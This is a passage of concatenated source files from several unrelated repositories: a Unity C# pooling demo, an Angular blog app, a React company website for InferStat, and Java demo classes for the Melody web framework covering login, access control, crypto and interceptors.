showOff.OnClosed().Subscribe(s => { OpenTitleScreen(); _poolWidget.Close(); }).AddTo(this); OpenWidget(showOff); }); } private void OpenWidget(UIShowOffWindowHud hud) { //Listen to OnSpawningSpeedChanged event hud.OnSpawningSpeedChanged() .Subscribe(value => { //When the slider changes, stop spawning, and reset the spawner with the selected time _tokenSource.Cancel(); _tokenSource = new CancellationTokenSource(); Spawner(value, _tokenSource.Token); }) .AddTo(this); //Listen to OnResetPool event hud.OnResetPool() .Subscribe(OnResetPool) .AddTo(this); UiService.OpenUI(Constants.UI.PoolWidget) .Run(asset => { _poolWidget = asset as PoolWidget; _poolWidget.UpdateWidgetValue(_pooler.SizeLimit, _pooler.ActiveElements); }); } private void OnResetPool(int size) { //Change pool size. Warning, if the pool size is changed, for example, from 30 to 1 //the objects that had been created and are in use will stay on the scene until they are pushed back into the pool, at which moment they will be desroyed. _pooler?.ResizePool(size); } private async Task Spawner(float time, CancellationToken token) { while (!token.IsCancellationRequested) { //wait time await UniTask.Delay(TimeSpan.FromSeconds(time), cancellationToken: token); //get a ball from the pool var ball = _pooler.Pop(); //not null? if (ball) { //initialize ball ball.Initialize(); //change position ball.transform.position = _spawner.position; //Subscribe to HasCollided ReactiveProperty ball.HasCollided.Subscribe(collided => { //if true send it back into the pool if (collided) _pooler.Push(ball); }); if (_poolWidget) _poolWidget.UpdateWidgetValue(_pooler.SizeLimit, _pooler.ActiveElements); } } } protected override void OnDestroy() { //obliterate pooler if (_pooler != null) { _pooler.Destroy(); _pooler = null; } //unload ball AssetService.UnloadAsset(_ballPrefab.name, true); } } }<file_sep>using UnityEngine; namespace Core.Services.Assets { public class AssetServiceConfiguration : ServiceConfiguration { public override Service ServiceClass => new AssetService(this); [SerializeField] private string _assetBundlesURL; public string AssetBundlesURL { get { return _assetBundlesURL; } set { _assetBundlesURL = value; } } [SerializeField] private bool _useStreamingAssets = false; public bool UseStreamingAssets { get { return _useStreamingAssets; } set { _useStreamingAssets = value; } } [SerializeField] private bool _useCache = true; public bool UseCache { get { return _useCache; } set { _useCache = value; } } [SerializeField] private int _manifestCachePeriod = 5; public int ManifestCachePeriod { get { return _manifestCachePeriod; } set { _manifestCachePeriod = value; } } [SerializeField] private bool _useUnityCloudBuildManifestVersion = true; public bool UseUnityCloudBuildManifestVersion { get { return _useUnityCloudBuildManifestVersion; } set { _useUnityCloudBuildManifestVersion = value; } } public string PlatformAssetBundleURL => AssetBundlesURL + AssetBundleUtilities.ClientPlatform + "/"; } }
6b56ab2f336ff8c76a25b34c1146427a96bca118
[ "C#" ]
18
C#
hellomercury/unity_core_example
669f8463d739fbda9577e5a05f28408ff4f38761
31218d6dc86c4c622098dbe2cf6e8c85bbca1972
refs/heads/master
<file_sep>import { Component, OnInit } from '@angular/core'; import {Router,ActivatedRoute,Params} from '@angular/router'; @Component({ selector: 'app-single-post', templateUrl: './single-post.component.html', styleUrls: ['./single-post.component.css'] }) export class SinglePostComponent implements OnInit { public param; constructor(private router: Router, private route: ActivatedRoute) { } ngOnInit() { this.route.params.forEach((params: Params) => { this.param = params['postid']; }); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { HttpClient } from '@angular/common/http'; @Component({ selector: 'app-posts-list', templateUrl: './posts-list.component.html', styleUrls: ['./posts-list.component.css'] }) export class PostsListComponent implements OnInit { posts: any; constructor(private http: HttpClient) { } ngOnInit() { this.posts = [ { title: "Test 1", content: "content" }, { title: "Test 2", content: "content" }, { title: "Test 4", content: "content" }, { title: "Test 8", content: "content" }, { title: "Test 27", content: "content" } ]; } getPosts(){ this.http.get('https://localhost:44370/api/posts',{headers:{'Content-Type':'application/json; charset=utf-8'}}) .subscribe(resp => { this.posts = resp; console.log(this.posts); }, error => { console.log(error); }); } } <file_sep>import { Component, OnInit, Input } from '@angular/core'; import {Router} from '@angular/router'; @Component({ selector: 'app-post-item', templateUrl: './post-item.component.html', styleUrls: ['./post-item.component.css'] }) export class PostItemComponent implements OnInit { @Input() postItem: any; constructor(private router: Router) { // console.log('this.postItem'); //console.log(this.postItem); } ngOnInit() { // console.log('this.postItem OnInit'); //console.log(this.postItem); } singlePost(){ console.log('this.postItem.title'); console.log(this.postItem.title); this.router.navigate(['/post',this.postItem.title]); } } <file_sep>import {Routes, RouterModule} from '@angular/router'; import { BlogComponent } from './blog.component'; import { PostsListComponent } from './posts-list/posts-list.component'; import { SinglePostComponent } from './single-post/single-post.component'; const blogRoutes: Routes = [ {path: '', component: BlogComponent, children: [ {path: 'blog', component: PostsListComponent}, {path: 'post/:postid', component: SinglePostComponent}, {path: '', redirectTo: '/blog', pathMatch:'full'} ]}, ]; export const blogRouting = RouterModule.forChild(blogRoutes);<file_sep>import { Routes, RouterModule } from '@angular/router'; import { LandingPageComponent } from './components/landing-page/landing-page.component'; import { PagenotFoundComponent } from './components/blog/shared/pagenot-found/pagenot-found.component'; const appRoutes: Routes = [ {path: 'home', component: LandingPageComponent}, {path: '**', component: PagenotFoundComponent}, ]; export const APP_ROUTES = RouterModule.forRoot(appRoutes,{useHash: true});<file_sep>import { NgModule } from "@angular/core"; import { BrowserModule } from '@angular/platform-browser' import { MenuComponent } from "./shared/menu/menu.component"; import { BlogComponent } from './blog.component'; import { HeaderComponent } from "./shared/header/header.component"; import { PostsListComponent } from './posts-list/posts-list.component'; import { PostItemComponent } from './post-item/post-item.component'; import { SinglePostComponent } from './single-post/single-post.component'; import { blogRouting } from "./blog.routing"; import { BlogfooterComponent } from './shared/blogfooter/blogfooter.component'; import { PagenotFoundComponent } from './shared/pagenot-found/pagenot-found.component'; import { SidebarComponent } from './shared/sidebar/sidebar.component'; @NgModule({ declarations:[ BlogComponent, MenuComponent, HeaderComponent, PostsListComponent, PostItemComponent, SinglePostComponent, BlogfooterComponent, PagenotFoundComponent, SidebarComponent ], exports:[ BlogComponent, MenuComponent, HeaderComponent, PostsListComponent, PostItemComponent, SinglePostComponent, PagenotFoundComponent ], imports:[ blogRouting, BrowserModule ] }) export class BlogModule {}
b83b0bd7691b961973683bdbe10edcefe0d7ebdd
[ "TypeScript" ]
6
TypeScript
RichGlitch/GlitchSite
7622d8064c45d21d4f1547fc7989646d81b0246c
382d1be05761b2071ea65a2c8464487fcfcfe5fe
refs/heads/master
<repo_name>GhulamMustufa/inferstat-project<file_sep>/src/components/About.js import React, { Component } from "react"; class About extends Component { render() { return ( <div id="aboutUs" className="section-padding"> <div className="container"> <div className="page-title text-center"> <h1>About Us</h1> <hr className="pg-titl-bdr-btm" /> </div> <div className="row"> <div className="col-md-6 "> <div className="service-box"> <div className="service-text1"> <h3>Financial and technology expertise</h3> <p className="fontStyle"> Our team combines financial and technology expertise to create web-based research tools, which help clients optimise the timing of their trades. </p> </div> </div> </div> <div className="col-md-6"> <div className="service-box"> <div className="service-text1"> <h3>Free web tools</h3> <p className="fontStyle"> Our web tools do not require software installation and are free of cost, free of licensing requirements and respect the privacy of you and your data. </p> </div> </div> </div> <div className="page-title text-center"> <h1>Our Commitments</h1> <hr className="pg-titl-bdr-btm" /> </div> </div> <div className="row" id="portfolio-wrapper"> <div className="row"> <div className="col-md-4 "> <div className="service-box"> <div className="service-text1"> <h3>Free to Use</h3> <p className="fontStyle"> Our web tools are free to use – make use of them as you see fit. </p> </div> </div> </div> <div className="col-md-4"> <div className="service-box"> <div className="service-text1"> <h3>Unrestricted and Unlimited</h3> <p className="fontStyle"> Our tools can be used for any purpose – there are no licensing restrictions or requirements for attribution. </p> </div> </div> </div> <div className="col-md-4"> <div className="service-box"> <div className="service-text1"> <h3>No Client Data Retention</h3> <p className="fontStyle"> Any data provided by clients is deleted after processing to protect your privacy – data persistence can be explicitly requested at your discretion. </p> </div> </div> </div> </div> </div> </div> </div> ); } } export default About; <file_sep>/src/components/Team.js import React, { Component } from "react"; import thomas from "../img/thomas.jpg"; import william from "../img/william.jpg"; import joshua from "../img/joshua.jpg"; export class Team extends Component { render() { return ( <div id="about" className="section-padding"> <div className="container"> <div className="row"> <div className="page-title text-center"> <h1>Meet Our Team</h1> <p className="fontStyle"> We have a talented team of individual with the aim to provide you the best solution.{" "} </p> <hr className="pg-titl-bdr-btm" /> </div> <div className="autoplay"> <div className="col-md-4"> <div className="team-info"> <div className="img-sec"> <img src={thomas} className="img-responsive" /> </div> <div className="fig-caption"> <h3><NAME></h3> <p className="fontStyle">CEO</p> </div> </div> </div> <div className="col-md-4"> <div className="team-info"> <div className="img-sec"> <img src={william} className="img-responsive" /> </div> <div className="fig-caption"> <h3><NAME></h3> <p className="fontStyle">Digital Content Manager</p> </div> </div> </div> <div className="col-md-4"> <div className="team-info"> <div className="img-sec"> <img src={joshua} className="img-responsive" /> </div> <div className="fig-caption"> <h3><NAME></h3> <p className="fontStyle"> Head of Development and Operations </p> </div> </div> </div> </div> </div> </div> </div> ); } } export default Team; <file_sep>/src/components/Banner.js import React, { Component } from "react"; import { Link, animateScroll as scroll } from "react-scroll"; export class Banner extends Component { render() { return ( <div id="banner" className="section-padding"> <div className="container"> <div className="row"> <div className="jumbotron"> <h1 className="small"> Automating the final step of trading decisions </h1> <p className="big">InferStat offers predictive research tools</p> <div className="col-md-12 bannerButtons"> <Link to="aboutUs" spy={true} smooth={true} offset={-70} duration={500} className="btn btn-banner" > About Us <i className="fa fa-send" /> </Link> <a href="#" className="btn btn-banner" data-toggle="modal" data-target="#myModal3" > Beta SignUp <i className="fa fa-send" /> </a> </div> <div id="myModal3" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"> &times; </button> <h3 class="modal-title">Inferstat Beta SignUp</h3> </div> <div class="modal-body"> <div id="sendmessage">Your message has been sent. Thank you!</div> <div id="errormessage" /> <div className="form-sec"> <form action method="post" role="form" className="contactForm"> <div className="col-md-12 form-group"> <input type="text" name="name" className="form-control text-field-box" id="name" placeholder="<NAME>" data-rule="minlen:4" data-msg="Please enter at least 4 chars" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <input type="email" className="form-control text-field-box" name="email" id="email" placeholder="Your Email" data-rule="email" data-msg="Please enter a valid email" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <input type="text" className="form-control text-field-box" name="subject" id="subject" placeholder="Company" data-rule="minlen:4" data-msg="Please enter at least 8 chars of subject" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <textarea className="form-control text-field-box" name="message" rows={5} data-rule="required" data-msg="Please write something for us" placeholder="Cover Letter" defaultValue={""} /> <div className="validation" /> <button className="button-medium" id="contact-submit" type="submit" name="contact" > Submit Now </button> </div> </form> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal" > Close </button> </div> </div> </div> </div> </div> </div> </div> </div> ); } } export default Banner; <file_sep>/src/components/Partner.js import React, { Component } from "react"; export class Partner extends Component { render() { return ( <div id="partners" className="section-padding"> <div className="container"> <div className="row"> <div className="page-title text-center"> <h1>Partners</h1> <h3>Partnership Opportunities</h3> <p className="fontStyle"> InferStat welcomes partners interested in utilising or investing in our technology. </p> <hr className="pg-titl-bdr-btm" /> </div> <div className="col-md-6"> <div className="service-box"> <div className="service-icon"> <i className="fas fa-dollar-sign" /> </div> <div className="service-text"> <h3>Investors</h3> <p className="fontStyle"> {" "} InferStat Ltd is intending to undertake an SEIS funding round in April 2019, with a potential EIS follow-up round later that year. We welcome interest from funds and individuals looking to invest in early-stage start ups. Please contact us if participation would be of interest. </p> </div> </div> </div> <div className="col-md-6"> <div className="service-box"> <div className="service-icon"> <i className="fa fa fa-code" /> </div> <div className="service-text"> <h3>Technology </h3> <p className="fontStyle"> {" "} InferStat Ltd can provide access to the underlying APIs that support our web tools to partners, through long term licensing agreements for use in institutional investment frameworks or analytics. Please contact us to discuss options. </p> </div> </div> </div> </div> </div> </div> ); } } export default Partner; <file_sep>/src/App.js import React from "react"; import "./App.css"; import { BrowserRouter as Router, Route, Link } from "react-router-dom"; import About from "./components/About"; import Header from "./components/Header"; import Banner from "./components/Banner"; import Career from "./components/Career"; import Partner from "./components/Partner"; import Team from "./components/Team"; import Contact from "./components/Contact"; import Footer from "./components/Footer"; function App() { return ( <Router> <div> <Header /> <Banner /> <Partner /> <Career /> <Team /> <About /> <Contact /> <Footer /> <Route path="/" exact component={Header} /> <Route path="/banner" component={Banner} /> <Route path="/career" component={Career} /> <Route path="/partner" component={Partner} /> <Route path="/team" component={Team} /> <Route path="/contact" component={Contact} /> <Route path="/about" component={About} /> <Route path="/footer" component={Footer} /> </div> </Router> ); } export default App; <file_sep>/src/components/Header.js import React, { Component } from "react"; import { Link, animateScroll as scroll } from "react-scroll"; // import { Link } from "react-router-dom" import logo from "../img/logo.jpg"; export class Header extends Component { scrollToTop = () => { scroll.scrollToTop(); }; render() { return ( <div> <div className="main-navigation navbar-fixed-top"> <nav className="navbar navbar-default"> <div className="container"> <div className="navbar-header"> <button type="button" className="navbar-toggle" data-toggle="collapse" data-target="#myNavbar" > <span className="icon-bar" /> <span className="icon-bar" /> <span className="icon-bar" /> </button> <a className="navbar-brand" href="index.html"> <img src={logo} width="200" height="50" class="d-inline-block align-top" alt="" /> </a> </div> <div className="collapse navbar-collapse" id="myNavbar"> <ul className="nav navbar-nav navbar-right menu"> <li> <Link className="nav-link" activeClass="active " to="banner" spy={true} smooth={true} offset={-70} duration={500} > Home </Link> </li> <li> <Link className="nav-link" activeClass="active" to="partners" spy={true} smooth={true} offset={-70} duration={500} > Partners </Link> </li> <li> <Link className="nav-link" activeClass="active" to="careers" spy={true} smooth={true} offset={-70} duration={500} > Careers </Link> </li> <li> <Link className="nav-link" activeClass="active" to="about" spy={true} smooth={true} offset={-70} duration={500} > Our Team </Link> </li> <li> <Link className="nav-link" activeClass="active" to="aboutUs" spy={true} smooth={true} offset={-70} duration={500} > About Us </Link> </li> <li> <Link className="nav-link" activeClass="active" to="contact" spy={true} smooth={true} offset={-70} duration={500} > Contact </Link> </li> <li> <Link className="nav-link" spy={true} smooth={true} offset={-70} duration={500} activeClass="active" data-toggle="modal" data-target="#myModal4" > Sign Up </Link> </li> </ul> </div> </div> </nav> </div> <div id="myModal4" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"> &times; </button> <h3 class="modal-title">Inferstat Beta SignUp</h3> </div> <div class="modal-body"> <div id="sendmessage">Your message has been sent. Thank you!</div> <div id="errormessage" /> <div className="form-sec"> <form action method="post" role="form" className="contactForm"> <div className="col-md-12 form-group"> <input type="text" name="name" className="form-control text-field-box" id="name" placeholder="<NAME>" data-rule="minlen:4" data-msg="Please enter at least 4 chars" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <input type="email" className="form-control text-field-box" name="email" id="email" placeholder="Your Email" data-rule="email" data-msg="Please enter a valid email" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <input type="text" className="form-control text-field-box" name="subject" id="subject" placeholder="Company" data-rule="minlen:4" data-msg="Please enter at least 8 chars of subject" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <textarea className="form-control text-field-box" name="message" rows={5} data-rule="required" data-msg="Please write something for us" placeholder="Cover Letter" defaultValue={""} /> <div className="validation" /> <button className="button-medium" id="contact-submit" type="submit" name="contact" > Submit Now </button> </div> </form> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal" > Close </button> </div> </div> </div> </div> </div> ); } } export default Header; <file_sep>/src/components/Contact.js import React, { Component } from "react"; export class Contact extends Component { render() { return ( <div id="contact" className="section-padding"> <div className="container"> <div className="row"> <div className="page-title text-center"> <h1>Contact</h1> <p className="fontStyle"> You can contact us by filling the form below{" "} </p> <hr className="pg-titl-bdr-btm" /> </div> <div id="sendmessage">Your message has been sent. Thank you!</div> <div id="errormessage" /> <div className="form-sec"> <form action method="post" role="form" className="contactForm"> <div className="col-md-4 form-group"> <input type="text" name="name" className="form-control text-field-box" id="name" placeholder="<NAME>" data-rule="minlen:4" data-msg="Please enter at least 4 chars" /> <div className="validation" /> </div> <div className="col-md-4 form-group"> <input type="email" className="form-control text-field-box" name="email" id="email" placeholder="Your Email" data-rule="email" data-msg="Please enter a valid email" /> <div className="validation" /> </div> <div className="col-md-4 form-group"> <input type="text" className="form-control text-field-box" name="subject" id="subject" placeholder="Subject" data-rule="minlen:4" data-msg="Please enter at least 8 chars of subject" /> <div className="validation" /> </div> <div className="col-md-12 form-group"> <textarea className="form-control text-field-box" name="message" rows={5} data-rule="required" data-msg="Please write something for us" placeholder="Message" defaultValue={""} /> <div className="validation" /> <button className="button-medium" id="contact-submit" type="submit" name="contact" > Submit Now </button> </div> </form> </div> </div> </div> </div> ); } } export default Contact;
71abf0495d9c649b62b2ecf8f79783f6c522d7ec
[ "JavaScript" ]
7
JavaScript
GhulamMustufa/inferstat-project
a6d62a2f4c831e1d5d95aa6dc7d6c37cb4df9a27
a7fbbd161cc051d519e2c28b3f0d35f093753304
refs/heads/master
<file_sep>package com.eyeieye.melody.demo.util; import com.eyeieye.melody.util.StringUtil; import org.apache.commons.codec.digest.DigestUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class MD5Encode { private static final Logger logger = LoggerFactory.getLogger(MD5Encode.class); /** * 生成指定字符串的MD5值 * * @param str * @return */ public static String encode(String str) throws Exception { String result = null; result = DigestUtils.md5Hex(str); if(StringUtil.isEmpty(result)) throw new Exception("MD5加密失败"); return result; } public static String encodeWithSalt(String str, String salt) throws Exception { String result_1 = null; String result_2 = null; result_1 = encode(str); result_2 = DigestUtils.md5Hex(result_1+salt); if(StringUtil.isEmpty(result_2)) throw new Exception("MD5加盐失败"); return result_2; } public static void main(String[] args) throws Exception { System.out.println(encodeWithSalt("TestAdmin123","SinoB2B")); } } <file_sep>app.server.host=127.0.0.1 app.server.port=8080 app.server.path=/ image.server.host=127.0.0.1 image.server.port=8080 image.server.path=/ melody.action.scan=com.eyeieye.melody.demo.web system.devMode=true template.load.charset=UTF-8 web.encoding=UTF-8 web.valid=true mail.server.host=127.0.0.1 mail.server.port=8080 mail.server.path=mail<file_sep>package com.eyeieye.melody.demo.web.action.utils; import com.eyeieye.melody.web.util.ObjectFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import java.util.List; import java.util.Map; import java.util.Random; @Component public class DemoBean { @Autowired private ObjectFactory objectFactory; private Integer randomTag = new Random().nextInt(1234); public Integer getRandomTag(){ return randomTag; } public void ObjectFactoryDemo(){ DemoBean bean1 = objectFactory.createBean(DemoBean.class,false); DemoBean bean2 = new DemoBean(); objectFactory.autowireBeanProperties(bean2); DemoBean bean3 = objectFactory.getBean(DemoBean.class); String beanName = objectFactory.getBeanName(DemoBean.class); DemoBean bean4 = (DemoBean)objectFactory.getBean(beanName); Map<String,DemoBean> map = objectFactory.getBeansOfType4Map(DemoBean.class); DemoBean bean5 = map.get(beanName); List<DemoBean> list = objectFactory.getBeansOfType4List(DemoBean.class); DemoBean bean6 = list.get(0); DemoBean[] array = objectFactory.getBeansOfType4Array(DemoBean.class); DemoBean bean7 = array[0]; System.out.println("本bean中的randomTag为:"+randomTag); System.out.println("bean1中的randomTag为:"+ bean1.getRandomTag()); System.out.println("bean2中的randomTag为:"+ bean2.getRandomTag()); System.out.println("bean3中的randomTag为:"+ bean3.getRandomTag()); System.out.println("bean4中的randomTag为:"+ bean4.getRandomTag()); System.out.println("bean5中的randomTag为:"+ bean5.getRandomTag()); System.out.println("bean6中的randomTag为:"+ bean6.getRandomTag()); System.out.println("bean7中的randomTag为:"+ bean7.getRandomTag()); } } <file_sep>package com.eyeieye.melody.demo.web.action.login; import org.springframework.core.MethodParameter; import org.springframework.stereotype.Component; import org.springframework.web.bind.support.WebArgumentResolver; import org.springframework.web.context.request.NativeWebRequest; import org.springframework.web.context.request.RequestAttributes; @Component public class ExtendedUserArgumentResolver implements WebArgumentResolver { public Object resolveArgument(MethodParameter methodParameter, NativeWebRequest webRequest) throws Exception { if (methodParameter.getParameterType().equals(ExtendedUser.class)) { return webRequest.getAttribute(ExtendedUser.NAME, RequestAttributes.SCOPE_REQUEST); } return UNRESOLVED; } }<file_sep>package com.eyeieye.melody.demo.web.action.login; import com.eyeieye.melody.demo.cache.CacheEntry; public class ExtendedUserCacheEntry implements CacheEntry { private static final long serialVersionUID = 4133790573784593641L; private String uuid = ""; private ExtendedUser extendedUser; public String getUserName() { return uuid; } public void setUserName(String uuid) { this.uuid = uuid; } public ExtendedUser getExtendedUser() { return extendedUser; } public void setExtendedUser(ExtendedUser extendedUser) { this.extendedUser = extendedUser; this.uuid = extendedUser.getUser().getUuid(); } @Override public String getKey() { return uuid; } } <file_sep>package com.eyeieye.melody.demo.web.action.httpClient; import com.eyeieye.melody.util.httpclient.ConnectionManager; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpRequestBase; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; @RequestMapping("httpClient") @Controller public class HttpClientAction { @Autowired private ConnectionManager connectionManager; @RequestMapping("doGet") public void doGet(String url, String s, HttpServletRequest request){ HttpGet get= (HttpGet)connectionManager.doRequest("", null); //connectionManager.getHttpClient().execute(get); } } <file_sep>package com.eyeieye.melody.demo.web.action.access; import java.util.ArrayList; import java.util.List; import java.util.Random; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.validation.Validator; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import com.eyeieye.melody.demo.access.AdminAccess; import com.eyeieye.melody.demo.domain.AdministerAgent; import com.eyeieye.melody.demo.enums.FunctionsEnum; import com.eyeieye.melody.demo.web.validator.AdministerLoginvalidator; /** * 系统管理员登录退出action * * @author fish */ @Controller @RequestMapping("/access") public class AccessAction { /** * 演示如果直接在action中注入配置文件中设置的值 */ private @Value("${system.devMode}") boolean devMode; private Validator loginValidator = new AdministerLoginvalidator(); private Random random = new Random(); /** * 没有@AdminAccess标签,则表示可任意访问 */ @RequestMapping("/test_page.htm") public void testPage(AdministerAgent agent, ModelMap model) { if (agent == null || agent.getLoginId() == null) { model.put("logined", false); model.put("auths", null); return; } List<String> auths = new ArrayList<String>(); if (agent.haveFunction(FunctionsEnum.Fun1)) auths.add("Fun1"); if (agent.haveFunction(FunctionsEnum.Fun2)) auths.add("Fun2"); if (agent.haveFunction(FunctionsEnum.Fun3)) auths.add("Fun3"); if (agent.haveFunction(FunctionsEnum.Fun4)) auths.add("Fun4"); if (agent.haveFunction(FunctionsEnum.Fun5)) auths.add("Fun5"); model.put("logined", true); model.put("auths", auths); } @RequestMapping(value = "login.htm", method = RequestMethod.GET) public String login(HttpSession session) { AdministerAgent agent = new AdministerAgent(); agent.setLoginId("" + new Random().nextInt(10000)); agent.setFunctions(4); session.setAttribute(AdministerAgent.AdministerTag, agent); return "redirect:/access/test_page.htm"; } @RequestMapping(value = "logout.htm", method = RequestMethod.GET) public String logout(HttpSession session) { session.removeAttribute(AdministerAgent.AdministerTag); session.invalidate(); return "redirect:/access/test_page.htm"; } @RequestMapping(value = "/addFun1.htm", method = RequestMethod.GET) public String addFun1(AdministerAgent agent, HttpSession session) { if (agent == null || agent.getLoginId() == null) { return "redirect:/access/test_page.htm"; } agent.setFunctions(0); session.setAttribute(AdministerAgent.AdministerTag, agent); return "redirect:/access/test_page.htm"; } @RequestMapping(value = "/addFun2.htm", method = RequestMethod.GET) public String addFun2(AdministerAgent agent, HttpSession session) { if (agent == null || agent.getLoginId() == null) { return "redirect:/access/test_page.htm"; } agent.setFunctions(1); session.setAttribute(AdministerAgent.AdministerTag, agent); return "redirect:/access/test_page.htm"; } @RequestMapping(value = "/clearFun.htm", method = RequestMethod.GET) public String clearFun(AdministerAgent agent, HttpSession session) { agent.clearFunctions(); session.setAttribute(AdministerAgent.AdministerTag, agent); return "redirect:/access/test_page.htm"; } /** * @AdminAccess() 表示登录用户就可访问 */ @AdminAccess() @RequestMapping(value = "/admin.htm") public void main(AdministerAgent agent, ModelMap model) { model.addAttribute("admin", agent); } /** * @AdminAccess( { FunctionsEnum.Fun1, FunctionsEnum.Fun3 }) * 表示有fun1或者fun3的admin才能访问 */ @AdminAccess({FunctionsEnum.Fun1, FunctionsEnum.Fun3}) @RequestMapping(value = "/fun1orfun3.htm") public void fun1orfun3() { } } <file_sep>package com.eyeieye.melody.demo.web.action.login; /** * 用户Service接口 * * @author zhengdd * @version $Id: UserService.java,v 1.1 2011/06/20 07:43:14 fish Exp $ */ public interface UserService { /** * 注册用户并获取注册后的信息 * * @param user * @return User */ public User register(User user); /** * 根据用户名称和明文口令获得用户 * * @param realName * @param password * @return */ public User getUserByNamePasswd(String realName, String password); /** * 校验验证码 * @param user * @param token * @return */ public boolean arithmeticCheck(User user, String token); } <file_sep>package com.eyeieye.melody.demo.web.action.interceptor; import com.eyeieye.melody.util.ArrayUtil; import com.eyeieye.melody.web.adapter.AnnotationMethodHandlerInterceptorAdapter; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; import org.springframework.web.context.request.ServletWebRequest; import org.springframework.web.servlet.ModelAndView; import java.lang.reflect.Method; import java.util.Map; @Component public class MethodInterceptor extends AnnotationMethodHandlerInterceptorAdapter { private static final Logger logger = LoggerFactory.getLogger(MethodInterceptor.class); @Override public void preInvoke(Method handlerMethod, Object handler, ServletWebRequest webRequest) { StringBuffer sf = new StringBuffer(); sf.append("\n") .append(" *-*-*-*-*-*-*-*-*-*-*-*[方法级别拦截器]*-*-*-*-*-*-*-*-*-*-*-*") .append("\n") .append(" *-*-*-*-*-*-*-*-*-*-*-*-[方法执行开始]-*-*-*-*-*-*-*-*-*-*-*-*") .append("\n") .append(" * *") .append("\n") .append(" * *") .append("\n") .append(" * 方法名 *") .append("\n") .append(handlerMethod.getName()) .append("\n") .append(" * 方法参数类型 *") .append("\n") .append(ArrayUtil.toString(handlerMethod.getParameterTypes())) .append("\n") .append(" * 方法返回值类型 *") .append("\n") .append(handlerMethod.getReturnType().getName()) .append("\n") .append(" * 所在类名 *") .append("\n") .append(handler.getClass().toString()) .append("\n"); logger.debug(sf.toString()); } @Override public void postInvoke(Method handlerMethod, Object handler, ServletWebRequest webRequest, ModelAndView mav) { StringBuffer sf = new StringBuffer(); sf.append("\n").append(" * 返回页面的参数 *").append("\n"); if (mav == null || mav.getModelMap() == null) { sf.append("null").append("\n"); } else { for (Map.Entry entry : mav.getModelMap().entrySet()) { sf.append(entry.getKey() + " : " + entry.getValue()).append("\n"); } } sf.append(" * *").append("\n") .append(" * *").append("\n") .append(" * *").append("\n") .append(" * *").append("\n") .append(" *-*-*-*-*-*-*-*-*-*-*-*-[方法执行结束]-*-*-*-*-*-*-*-*-*-*-*-*").append("\n"); logger.debug(sf.toString()); } } <file_sep>package com.eyeieye.melody.demo.web.action.login; import java.util.HashSet; import java.util.Set; import org.springframework.beans.factory.InitializingBean; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import com.eyeieye.melody.web.nosession.cookie.AttributeCookieStore; import com.eyeieye.melody.web.nosession.cookie.Encode; @Component public class UserAttributeCookieStore implements AttributeCookieStore, InitializingBean { @Autowired private Encode encode; private Set<String> attibutes = new HashSet<String>(); @Value("${app.server.host}") private String domain; @Override public int getOrder() { return 0; } @Override public boolean isMatch(String key) { return User.NAME.equals(key); } @Override public String getCookieName() { return "_d_"; } @Override public Encode getEncode() { return encode; } @Override public int getMaxInactiveInterval() { return -1; } @Override public String getPath() { return "/"; } @Override public Set<String> getAttributeNames() { return this.attibutes; } @Override public String getDomain() { return domain; } @Override public void afterPropertiesSet() throws Exception { this.attibutes.add(User.NAME); } } <file_sep>package com.eyeieye.melody.demo.web.action.crypto; import com.eyeieye.melody.util.StringUtil; import com.eyeieye.melody.util.crypto.Crypto; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.RequestMapping; @Controller @RequestMapping("crypto") public class CryptoAction { @Autowired @Qualifier("aesCrypto") Crypto aesCrypto; @Autowired @Qualifier("rsaCrypto") Crypto rsaCrypto; @RequestMapping("encrypt") public String encrypt(String text, ModelMap modelMap) { if (StringUtil.isEmpty(text) == false) { modelMap.put("aesEncrypt", aesCrypto.encrypt(text)); modelMap.put("rsaEncrypt", rsaCrypto.encrypt(text)); modelMap.put("text", text); } return "/crypto/demo"; } @RequestMapping("decrypt") public String decrypt(String aesStr, String rsaStr, ModelMap modelMap) { String aesDecrypt = null; String rsaDecrypt = null; if (StringUtil.isEmpty(aesStr) == false) { aesDecrypt = aesCrypto.dectypt(aesStr); } if (StringUtil.isEmpty(rsaStr) == false) { rsaDecrypt = rsaCrypto.dectypt(rsaStr); } modelMap.put("aesDecrypt", aesDecrypt); modelMap.put("rsaDecrypt", rsaDecrypt); modelMap.put("aesStr", aesStr); modelMap.put("rsaStr", rsaStr); return "/crypto/demo"; } } <file_sep>package com.eyeieye.melody.demo.web.action.i18n; import java.io.IOException; import java.util.Locale; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.propertyeditors.LocaleEditor; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.servlet.LocaleResolver; import com.eyeieye.melody.util.StringUtil; @Controller @RequestMapping(value = "/locale") public class ChangeLocaleAction { @Autowired private LocaleResolver localeResolver; 